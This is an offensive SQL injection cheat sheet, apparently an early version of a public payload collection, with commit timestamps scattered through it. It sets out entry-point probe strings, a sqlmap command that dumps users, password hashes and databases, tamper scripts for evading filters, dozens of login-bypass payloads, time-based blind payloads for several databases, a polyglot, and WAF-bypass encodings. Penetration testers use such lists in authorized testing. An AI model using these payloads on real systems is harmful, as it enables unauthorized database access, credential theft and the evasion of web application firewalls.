2016-10-18 06:39:17 +00:00
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# SQL injection
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A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
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2016-10-18 08:01:56 +00:00
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2016-11-29 16:27:35 +00:00
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## Entry point detection
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2016-10-18 06:39:17 +00:00
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Detection of an SQL injection entry point
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2016-10-18 08:01:56 +00:00
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```
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2016-10-18 06:39:17 +00:00
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'
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"
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%27
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" / %22
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; / %3B
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%%2727
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%25%27
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`+HERP
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'||'DERP
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'+'herp
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' ' DERP
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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```
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2016-12-04 12:18:49 +00:00
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## SQL injection using SQLmap
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Basic arguments for SQLmap
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```
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2016-12-20 18:46:06 +00:00
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sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
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2016-12-04 12:18:49 +00:00
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```
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Custom injection in UserAgent/Header/Referer/Cookie
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```
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python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
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2016-12-04 13:26:42 +00:00
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The injection is located at the '*'
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2016-12-04 12:18:49 +00:00
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```
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General tamper option and tamper's list
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```
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tamper=name_of_the_tamper
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```
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| Tamper | Description |
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| --- | --- |
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|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
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|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
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|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
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|base64encode.py | Base64 all characters in a given payload |
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|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
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|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
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|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
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|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
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|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
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|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
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|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
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|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
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|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
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|escapequotes.py | Slash escape quotes (' and ") |
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|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
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|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
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|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
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|modsecurityversioned.py | Embraces complete query with versioned comment |
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|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
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|multiplespaces.py | Adds multiple spaces around SQL keywords |
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|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
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|percentage.py | Adds a percentage sign ('%') infront of each character |
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|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
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|randomcase.py | Replaces each keyword character with random case value |
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|randomcomments.py | Add random comments to SQL keywords|
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|securesphere.py | Appends special crafted string|
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|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
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|space2comment.py | Replaces space character (' ') with comments |
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|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
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|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
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|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
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|space2plus.py | Replaces space character (' ') with plus ('+') |
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|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
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|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
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|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
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|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
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|varnish.py | Append a HTTP header 'X-originating-IP' |
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|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
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|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
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|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
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2016-11-29 16:27:35 +00:00
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## Authentication bypass
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```
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'-'
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' '
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'&'
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'^'
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'*'
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' or ''-'
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' or '' '
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' or ''&'
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' or ''^'
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' or ''*'
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"-"
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" "
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"&"
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"^"
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"*"
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" or ""-"
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" or "" "
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" or ""&"
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" or ""^"
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" or ""*"
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or true--
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" or true--
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' or true--
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") or true--
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') or true--
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' or 'x'='x
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') or ('x')=('x
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')) or (('x'))=(('x
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" or "x"="x
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") or ("x")=("x
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")) or (("x"))=(("x
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or 1=1
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or 1=1--
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or 1=1#
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or 1=1/*
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admin' --
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admin' #
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admin'/*
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admin' or '1'='1
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admin' or '1'='1'--
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admin' or '1'='1'#
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admin' or '1'='1'/*
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admin'or 1=1 or ''='
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admin' or 1=1
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admin' or 1=1--
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admin' or 1=1#
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admin' or 1=1/*
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admin') or ('1'='1
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admin') or ('1'='1'--
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admin') or ('1'='1'#
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admin') or ('1'='1'/*
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admin') or '1'='1
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admin') or '1'='1'--
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admin') or '1'='1'#
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admin') or '1'='1'/*
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1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
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admin" --
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admin" #
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admin"/*
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admin" or "1"="1
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admin" or "1"="1"--
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admin" or "1"="1"#
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admin" or "1"="1"/*
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admin"or 1=1 or ""="
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admin" or 1=1
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admin" or 1=1--
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admin" or 1=1#
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admin" or 1=1/*
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admin") or ("1"="1
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admin") or ("1"="1"--
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admin") or ("1"="1"#
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admin") or ("1"="1"/*
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admin") or "1"="1
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admin") or "1"="1"--
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admin") or "1"="1"#
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admin") or "1"="1"/*
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1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
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```
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2017-01-07 19:51:47 +00:00
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## Time based
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```
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SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) comment: -- /**/
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MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/
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Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
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PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) comment: -- /**/
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PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) comment: -- /**/
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SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
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```
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2016-11-29 16:27:35 +00:00
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## Polyglot injection (multicontext)
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2016-10-18 06:39:17 +00:00
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```
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SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
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2016-10-18 08:01:56 +00:00
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```
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2016-12-03 18:03:59 +00:00
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## WAF Bypass
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2016-12-04 13:26:42 +00:00
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No Space (%20) - bypass using whitespace alternatives
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```
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?id=1%09and%091=1%09--
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?id=1%0Dand%0D1=1%0D--
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?id=1%0Cand%0C1=1%0C--
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?id=1%0Band%0B1=1%0B--
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?id=1%0Aand%0A1=1%0A--
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?id=1%A0and%A01=1%A0--
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```
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2016-12-03 18:03:59 +00:00
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No Whitespace - bypass using comments
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```
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?id=1/*comment*/and/**/1=1/**/--
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```
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No Whitespace - bypass using parenthesis
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```
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?id=(1)and(1)=(1)--
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```
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2016-12-04 13:26:42 +00:00
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No Comma - bypass using OFFSET, FROM and JOIN
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2016-12-03 18:03:59 +00:00
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```
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2016-12-04 13:26:42 +00:00
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LIMIT 0,1 -> LIMIT 1 OFFSET 0
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2016-12-03 18:03:59 +00:00
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SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
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2016-12-04 13:26:42 +00:00
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SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
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2016-12-03 18:03:59 +00:00
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```
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Blacklist using keywords - bypass using uppercase/lowercase
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```
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?id=1 AND 1=1#
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?id=1 AnD 1=1#
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?id=1 aNd 1=1#
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```
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2016-12-04 13:26:42 +00:00
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Blacklist using keywords case insensitive - bypass using an equivalent operator
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2016-12-03 18:03:59 +00:00
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```
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AND -> &&
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OR -> ||
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= -> LIKE,REGEXP, not < and not >
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2016-12-04 13:26:42 +00:00
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> X -> not between 0 and X
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2016-12-03 18:03:59 +00:00
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WHERE -> HAVING
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```
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2017-02-06 08:50:13 +00:00
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Information_schema.tables Alternative
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```
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select * from mysql.innodb_table_stats;
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
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| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
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...
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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mysql> show tables in dvwa;
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+----------------+
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| Tables_in_dvwa |
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+----------------+
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| guestbook |
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| users |
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+----------------+
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```
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Version Alternative
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```
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mysql> select @@innodb_version;
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+------------------+
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| @@innodb_version |
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+------------------+
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| 5.6.31 |
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+------------------+
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mysql> select @@version;
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+-------------------------+
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| @@version |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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mysql> mysql> select version();
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+-------------------------+
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| version() |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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```
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2016-12-03 18:03:59 +00:00
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2016-11-06 05:42:50 +00:00
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## Thanks to - Other resources
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* MySQL:
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- [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
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- [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
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2017-02-06 08:50:13 +00:00
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- [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
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2016-11-06 05:42:50 +00:00
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* MSQQL:
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- [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
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- [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
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* ORACLE:
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- [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
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* POSTGRESQL:
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- [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
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* Others
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- [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
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- [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
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- [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
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- [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
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- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
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2016-12-04 12:18:49 +00:00
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- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
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- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
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